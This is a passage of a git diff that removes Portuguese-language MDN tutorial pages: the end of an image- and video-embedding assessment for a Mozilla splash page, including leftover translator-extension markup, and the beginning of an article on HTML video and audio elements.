-<p><strong>Note</strong>: O arquivo HTML de exemplo contém bastante CSS para estilizar a página. <font><font>Você não precisa alterar o CSS, apenas o HTML no elemento </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/body" title="O elemento &lt;body> representa o conteúdo principal do documento HTML. Só pode haver um elemento &lt;body> por documento."><code>&lt;body&gt;</code></a><font><font> - contanto que você insira as tags corretas, o estilo corresponderá à essas alterações.</font></font></p>
-</div>
-
-<h2 id="Sumário_do_projeto">Sumário do projeto</h2>
-
-<p>Nesta parte, apresentamos uma home page quase acabada da Mozilla, que visa dizer algo interessante sobre o que a Mozilla representa e fornecer alguns links para outros recursos. Infelizmente, nenhuma imagem ou vídeo foi adicionado ainda - este é o seu trabalho! Você precisa adicionar algumas mídias para tornar a página mais bonita e fazer mais sentido. As subseções a seguir detalham o que você precisa fazer:</p>
-
-<h3 id="Preparando_as_imagens">Preparando as imagens</h3>
-
-<p>Usando seu editor de imagem favorito, crie versões com 400px de largura por 120px de largura de:</p>
-
-<ul>
- <li><code>firefox_logo-only_RGB.png</code></li>
- <li><code>firefox-addons.jpg</code></li>
- <li><code>mozilla-dinosaur-head.png</code></li>
-</ul>
-
-<p>Dê a eles nomes semelhantes como:  <code>firefoxlogo400.png</code> e <code>firefoxlogo120.png</code>.</p>
-
-<p>Juntamente com o <code>mdn.svg</code>, essas imagens serão seus ícones para vincular a outros recursos, dentro da área <code>further-info</code>. Você também vinculará o logotipo do Firefox no cabeçalho do site. Salve cópias de todos estes arquivos dentro do mesmo diretório de <code>index.html</code>.</p>
-
-<p>Em seguida, crie uma versão com 1200px de largura, no modo paisagem, de <code>red-panda.jpg</code>, e outra, com 600px de largura, no modo retrato, que mostre o panda em close-up. Mais uma vez, nomeie-os de forma semelhante para identificá-los facilmente. <font><font>Salve todas essas cópias na mesma pasta que o </font></font><code>index.html</code><font><font>.</font></font></p>
-
-<div class="note">
-<p><strong>Nota</strong>: <font><font>Você deve otimizar suas imagens em JPG e PNG para torná-las o menor possível e, ao mesmo tempo, de boa qualidade. O </font></font><a href="https://tinypng.com/" rel="noopener"><font><font>tinypng.com</font></font></a><font><font> é uma boa ajuda para fazer isso facilmente.</font></font></p>
-</div>
-
-<h3 id="Adicionando_um_logotipo_ao_cabeçalho">Adicionando um logotipo ao cabeçalho</h3>
-
-<p><font><font>Dentro do elemento </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/header" title="O elemento HTML &lt;header> representa um grupo de conteúdo introdutório ou conteúdo que ajuda na navegação. Pode conter elementos de título, mas também outros elementos, como um logotipo, um formulário de pesquisa, etc."><code>&lt;header&gt;</code></a><font><font>, adicione um elemento </font></font><code><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/img" title="O elemento HTML &lt;img> é usado para representar uma imagem em um documento.">&lt;img&gt;</a></code><font><font> que incluirá uma versão pequena do logotipo do Firefox no cabeçalho.</font></font></p>
-
-<h3 id="Adicionando_um_vídeo_ao_conteúdo_do_artigo_principal">Adicionando um vídeo ao conteúdo do artigo principal</h3>
-
-<p><font><font>No item </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/article" title="O elemento HTML &lt;article> representa o conteúdo autônomo em um documento, página, aplicativo ou site. Pode ser uma mensagem em um fórum, um artigo de jornal ou revista, uma postagem de blog, um comentário de usuário, um widget ou um gadget interativo ou qualquer outro conteúdo independente. Este conteúdo destina-se a ser distribuído ou reutilizado de forma independente (por exemplo, em um feed de distribuição)."><code>&lt;article&gt;</code></a><font><font>  (logo abaixo da tag de abertura), incorpore o vídeo do YouTube encontrado aqui: </font></font><a href="https://www.youtube.com/watch?v=ojcNcvb1olg" rel="noopener"><font><font>https://www.youtube.com/watch?v=ojcNcvb1olg</font></font></a><font><font>, usando as ferramentas apropriadas do YouTube para gerar o código. </font><font>O vídeo terá que ter 400px de largura.</font></font></p>
-
-<h3 id="Adicionando_imagens_responsivas_aos_links_de_informação_adicionais">Adicionando imagens responsivas aos links de informação adicionais</h3>
-
-<p><font><font>No elemento </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/div" title="O elemento HTML &lt;div> (que significa divisão do documento) é um contêiner genérico que permite organizar o conteúdo sem representar nada em particular. Ele pode ser usado para agrupar outros elementos para aplicar um estilo a eles (usando os atributos class ou id) ou porque eles compartilham atributos com valores comuns, como lang. Ele deve ser usado somente quando nenhum outro elemento semântico (por exemplo, &lt;article> ou &lt;nav>) for apropriado."><code>&lt;div&gt;</code></a><font><font>, na classe </font></font><code>further-info</code><font><font> você encontrará quatro outros elementos </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/a" title="O elemento &lt;a> (âncora ou âncora) define um hiperlink para outro local na mesma página ou para outra página na Web."><code>&lt;a&gt;</code></a><font><font> - cada um deles vinculado a uma página interessante relacionada ao Mozilla. </font><font>Para concluir esta seção, você irá inserir um elemento </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/img" title="O elemento HTML &lt;img> é usado para representar uma imagem em um documento."><code>&lt;img&gt;</code></a><font><font> contendo os atributos </font></font><code><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/img#attr-src">src</a></code><font><font>, </font></font><code><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/img#attr-alt">alt</a></code><font><font>, </font></font><code><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/img#attr-srcset">srcset</a></code><font><font> e </font></font><code><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/img#attr-sizes">sizes</a></code><font><font> de forma apropriada.</font></font></p>
-
-<p> </p>
-
-<p><font><font>Queremos que cada imagem (exceto quando a mesma for responsiva) use uma imagem de 120px quando a largura da janela de visualização do navegador for menor ou igual a 480px e, em outros casos, escolha uma versão de 400px.</font></font></p>
-
-<p><font><font>Verifique se o link correto corresponde à imagem correta!</font></font></p>
-
-<p> </p>
-
-<div class="note">
-<p><strong>Nota</strong>: <font><font>Para testar adequadamente os exemplos </font></font><code>srcset</code><font><font>/</font></font><code>sizes</code><font><font>, você deve fazer o upload do seu site em um servidor (use as </font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Using_Github_pages"><font><font>páginas Github</font></font></a><font><font>, é uma solução simples e livre), e então você poderá testar, se tudo correr corretamente, usando as ferramentas de desenvolvimento, como explicado em </font></font><a href="https://developer.mozilla.org/en-US/Learn/HTML/Multimedia_and_embedding/Responsive_images#Useful_developer_tools"><font><font>Imagens Responsivas: ferramentas úteis para desenvolvedores</font></font></a><font><font>.</font></font></p>
-</div>
-
-<h3 id="Um_panda_vermelho_criativo">Um panda vermelho criativo</h3>
-
-<p><font><font>No elemento </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/div" title="O elemento HTML &lt;div> (que significa divisão do documento) é um contêiner genérico que permite organizar o conteúdo sem representar nada em particular. Ele pode ser usado para agrupar outros elementos para aplicar um estilo a eles (usando os atributos class ou id) ou porque eles compartilham atributos com valores comuns, como lang. Ele deve ser usado somente quando nenhum outro elemento semântico (por exemplo, &lt;article> ou &lt;nav>) for apropriado."><code>&lt;div&gt;</code></a><font><font> da classe </font></font><code>red-panda</code><font><font>, queremos inserir um elemento </font></font><a href="https://developer.mozilla.org/fr/docs/Web/HTML/Element/picture" title="O elemento HTML &lt;picture> é um contêiner usado para definir vários elementos &lt;source> de zero para um elemento &lt;img>. O navegador escolherá a fonte mais relevante de acordo com o layout da página (as restrições que se aplicam à caixa na qual a imagem será exibida), dependendo do dispositivo usado (a densidade de pixels da tela, por exemplo com dispositivos hiDPI) e em formatos suportados (por exemplo, WebP para navegadores Chromium ou PNG para outros). Se nenhuma correspondência for encontrada entre os elementos &lt;source>, o arquivo definido pelo atributo src do elemento &lt;img> será usado."><code>&lt;picture&gt;</code></a><font><font> que exiba o o modo retrato do panda se o quadro tiver 600px de largura, ou menos, e o modo paisagem do panda em outros casos.</font></font></p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>A captura de tela a seguir mostra como a página inicial deve ficar depois de marcada corretamente, com uma tela ampla e outra estreita.</p>
-
-<p><img alt="A wide shot of our example splash page" src="https://mdn.mozillademos.org/files/12946/wide-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 620px; margin: 0px auto; width: 700px;"></p>
-
-<p><img alt="A narrow shot of our example splash page" src="https://mdn.mozillademos.org/files/12944/narrow-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 1069px; margin: 0px auto; width: 320px;"></p>
-
-<h2 id="Avaliação">Avaliação</h2>
-
-<p><font><font>Se você está seguindo este estudo como parte de um programa de curso organizado, você deve poder mostrar seu trabalho ao seu professor/mentor para correção. </font><font>Se você aprender sozinho, você pode obter informações e correções perguntando no </font></font><a href="https://discourse.mozilla.org/t/mozilla-splash-page-assignment/24679" rel="noopener"><font><font>tópico sobre este exercício</font></font></a><font><font>, ou no canal de IRC </font></font><a href="irc://irc.mozilla.org/mdn"><font><font>#mdn</font></font></a><font><font> no </font></font><a href="https://wiki.mozilla.org/IRC" rel="noopener"><font><font>IRC da Mozilla</font></font></a><font><font>. </font><font>Tente fazer o exercício primeiro - você não ganha nada enganando!</font></font></p>
-
-<p>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
deleted file mode 100644
index 712a83118c..0000000000
--- a/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
+++ /dev/null
@@ -1,370 +0,0 @@
----
-title: Conteúdo de áudio e vídeo
-slug: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
-tags:
- - Artigo
- - Audio
- - Guía
- - HTML
- - Principiante
- - Video
- - faixa
- - legendas
-translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
-original_slug: Learn/HTML/Multimedia_e_integracao/Conteudo_de_audio_e_vídeo
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</div>
-
-<p class="summary">Now that we are comfortable with adding simple images to a webpage, the next step is to start adding video and audio players to your HTML documents! In this article we'll look at doing just that with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements; we'll then finish off by looking at how to add captions/subtitles to your videos.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Basic computer literacy, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">basic software installed</a>, basic knowledge of <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">working with files</a>, familiarity with HTML fundamentals (as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>) and <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>To learn how to embed video and audio content into a webpage, and add captions/subtitles to video.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Áudio_e_vídeo_na_Web">Áudio e vídeo na Web</h2>
-
-<p>Web developers have wanted to use video and audio on the Web for a long time, ever since the early 2000s, when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) In the early days, native web technologies such as HTML didn't have the ability to embed video and audio on the Web, so proprietary (or plugin-based) technologies like <a href="https://en.wikipedia.org/wiki/Adobe_Flash">Flash</a> (and later, <a href="https://en.wikipedia.org/wiki/Microsoft_Silverlight">Silverlight</a>) became popular for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues.</p>
-
-<p>A native solution would solve much of this if done right. Fortunately, a few years later the {{glossary("HTML5")}} specification had such features added, with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements, and some shiny new {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} for controlling them. We'll not be looking at JavaScript here — just the basic foundations that can be achieved with HTML.</p>
-
-<p>We won't be teaching you how to produce audio and video files — that requires a completely different skillset. We have provided you with <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">sample audio and video files and example code</a> for your own experimentation, in case you are unable to get hold of your own.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Before you begin here, you should also know that there are a quite a few {{glossary("OVP","OVPs")}} (online video providers) like <a href="https://www.youtube.com/">YouTube</a>, <a href="http://www.dailymotion.com">Dailymotion</a>, and <a href="https://vimeo.com/">Vimeo</a>, and online audio providers like <a href="https://soundcloud.com/">Soundcloud</a>. Such companies offer a convenient, easy way to host and consume videos, so you don't have to worry about the enormous bandwidth consumption. OVPs even usually offer ready-made code for embedding video/audio in your webpages. If you go that route, you can avoid some of the difficulties we discuss in this article. We'll be discussing this kind of service a bit more in the next article.</p>
-</div>
-
-<h3 id="O_elemento_&lt;video>">O elemento &lt;video&gt;</h3>
-
-<p>The {{htmlelement("video")}} element allows you to embed a video very easily. A really simple example looks like this:</p>
-
-<pre class="brush: html">&lt;video src="rabbit320.webm" controls&gt;
- &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.webm"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
-&lt;/video&gt;</pre>
-
-<p>The features of note are:</p>
-
-<dl>
- <dt>{{htmlattrxref("src","video")}}</dt>
- <dd>In the same way as for the {{htmlelement("img")}} element, the <code>src</code> (source) attribute contains a path to the video you want to embed. It works in exactly the same way.</dd>
- <dt>{{htmlattrxref("controls","video")}}</dt>
- <dd>Users must be able to control video and audio playback (it's especially critical for people who have <a href="https://en.wikipedia.org/wiki/Epilepsy#Epidemiology">epilepsy</a>.) You must either use the <code>controls</code> attribute to include the browser's own control interface, or build your interface using the appropriate <a href="/en-US/docs/Web/API/HTMLMediaElement">JavaScript API</a>. At minimum, the interface must include a way to start and stop the media, and to adjust the volume.</dd>
- <dt>The paragraph inside the <code>&lt;video&gt;</code> tags</dt>
- <dd>This is called <strong>fallback content</strong> — this will be displayed if the browser accessing the page doesn't support the <code>&lt;video&gt;</code> element, allowing us to provide a fallback for older browsers. This can be anything you like; in this case we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using.</dd>
-</dl>
-
-<p>The embedded video will look something like this:</p>
-
-<p><img alt="A simple video player showing a video of a small white rabbit" src="https://mdn.mozillademos.org/files/12794/simple-video.png" style="display: block; height: 592px; margin: 0px auto; width: 589px;"></p>
-
-<p>You can <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">try the example live</a> here (see also the <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">source code</a>.)</p>
-
-<h3 id="Suporte_para_múltiplos_formatos">Suporte para múltiplos formatos</h3>
-
-<p>There's a problem with the above example, which you may have noticed already if you've tried to access the live link above with a browser like Safari or Internet Explorer. The video won't play! This is because different browsers support different video (and audio) formats.</p>
-
-<p>Let's go through the terminology quickly. Formats like MP3, MP4 and WebM are called <strong>container formats</strong>. They contain different parts that make up the whole song or video — such as an audio track, a video track (in the case of video), and metadata to describe the media being presented.</p>
-
-<p>The audio and video tracks are also in different formats, for example:</p>
-
-<ul>
- <li>A WebM container usually packages Ogg Vorbis audio with VP8/VP9 video. This is supported mainly in Firefox and Chrome.</li>
- <li>An MP4 container often packages AAC or MP3 audio with H.264 video. This is supported mainly in Internet Explorer and Safari.</li>
- <li>The older Ogg container tends to go with Ogg Vorbis audio and Ogg Theora video. This was supported mainly in Firefox and Chrome, but has basically been superceded by the better quality WebM format.</li>
-</ul>
-
-<p>An audio player will tend to play an audio track directly, e.g. an MP3 or Ogg file. These don't need containers.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: It is not quite that simple, as you can see from our<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats#Browser_compatibility"> audio-video codec compatibility table</a>. In addition, many mobile platform browsers can play an unsupported format by handing it off to the underlying system's media player to play. But this will do for now.</p>
-</div>
-
-<p>The above formats exist to compress video and audio into manageable files (raw video and audio is very large). Browsers contain different <strong>{{Glossary("Codec","Codecs")}}</strong>, like Vorbis or H.264, which are used to convert the compressed sound and video into binary digits and back. As indicated above, browsers unfortunately don't all support the same codecs, so you will have to provide several files for each media production. If you're missing the right codec to decode the media, it just won't play.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> You might be wondering why this situation exists. <strong>MP3 </strong> (for audio) and <strong>MP4/H.264</strong> (for video) are both widely supported, and good quality. However, they are also patent encumbered — American patents cover MP3 until at least 2017, and H.264 until 2027 at the earliest, meaning that browsers that don't hold the patent have to pay huge sums of money to support these formats. In addition, many people avoid restricted software on principle, in favour of open formats. This is why we have to provide multiple formats for different browsers.</p>
-</div>
-
-<p>So how do we do this? Take a look at the following <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">updated example</a> (<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">try it live here</a>, also):</p>
-
-<pre class="brush: html">&lt;video controls&gt;
- &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
- &lt;source src="rabbit320.webm" type="video/webm"&gt;
- &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
-&lt;/video&gt;</pre>
-
-<p>Here we've taken the <code>src</code> attribute out of the actual <code>&lt;video&gt;</code> tag, and instead included separate {{htmlelement("source")}} elements that point to their own sources. In this case the browser will go through the <code>&lt;source&gt;</code> elements and play the first one that it has the codec to support. Including WebM and MP4 sources should be enough to play your video on most platforms and browsers these days.</p>
-
-<p>Each <code>&lt;source&gt;</code> element also has a <code>type</code> attribute. This is optional, but it is advised that you include them — they contain the {{glossary("MIME type","MIME types")}} of the video files, and browsers can read these and immediately skip videos they don't understand. If they are not included, browsers will load and try to play each file until they find one that works, taking even more time and resources.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Our <a href="/en-US/docs/Web/HTML/Supported_media_formats">article on supported media formats</a> contains some common {{glossary("MIME type","MIME types")}}.</p>
-</div>
-
-<h3 id="Outras_funcionalidades_&lt;video>">Outras funcionalidades &lt;video&gt;</h3>
-
-<p>There are a number of other features you can include on an HTML5 video. Take a look at our third example, below:</p>
-
-<pre class="brush: html">&lt;video controls width="400" height="400"
-       autoplay loop muted
-       poster="poster.png"&gt;
-  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
-  &lt;source src="rabbit320.webm" type="video/webm"&gt;
-  &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
-&lt;/video&gt;
-</pre>
-
-<p>This will give us a output looking something like this:</p>
-
-<p><img alt="A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!" src="https://mdn.mozillademos.org/files/12796/extra-video-features.png" style="display: block; height: 731px; margin: 0px auto; width: 653px;">The new features are:</p>
-
-<dl>
- <dt>{{htmlattrxref("width","video")}} and {{htmlattrxref("height","video")}}</dt>
- <dd>You can control the video size either with these attributes or with {{Glossary("CSS")}}. In both cases, videos maintain their native width-height ratio — known as the <strong>aspect ratio</strong>. If the aspect ratio is not maintained by the sizes you set, the video will grow to fill the space horizontally, and the unfilled space will just be given a solid background color by default.</dd>
- <dt>{{htmlattrxref("autoplay","video")}}</dt>
- <dd>This attribute makes the audio or video start playing right away while the rest of the page is loading. You are advised not to use autoplaying video (or audio) on your sites, because users can find it really annoying.</dd>
- <dt>{{htmlattrxref("loop","video")}}</dt>
- <dd>This attribute makes the video (or audio) start playing again whenever it finishes. This can also be annoying, so only use if really necessary.</dd>
- <dt>{{htmlattrxref("muted","video")}}</dt>
- <dd>This attribute causes the media to play with the sound turned off by default.</dd>
- <dt>{{htmlattrxref("poster","video")}}</dt>
- <dd>This attribute takes as its value the URL of an image, which will be displayed before the video is played. It is intended to be used for a splash or advertising screen.</dd>
- <dt>{{htmlattrxref("preload","video")}}</dt>
- <dd>
- <p>this attribute is used in the element for buffering large files. It can take one of 3 values:</p>
-
- <ul>
- <li><code>"none"</code> does not buffer the file</li>
- <li><code>"auto"</code> buffers the media file</li>
- <li><code>"metadata"</code> buffers only the metadata for the file</li>
- </ul>
- </dd>
-</dl>
-
-<p>You can find the above example available to <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">play live on Github</a> (also <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">see the source code</a>.) Note that we haven't included the <code>autoplay</code> attribute in the live version — if the video starts to play as soon as the page loads, you don't get to see the poster!</p>
-
-<h3 id="O_elemento_&lt;audio>">O elemento &lt;audio&gt;</h3>
-
-<p>The {{htmlelement("audio")}} element works in exactly the same way as the {{htmlelement("video")}} element, with a few small differences as outlined below. A typical example might look like so:</p>
-
-<pre class="brush: html">&lt;audio controls&gt;
- &lt;source src="viper.mp3" type="audio/mp3"&gt;
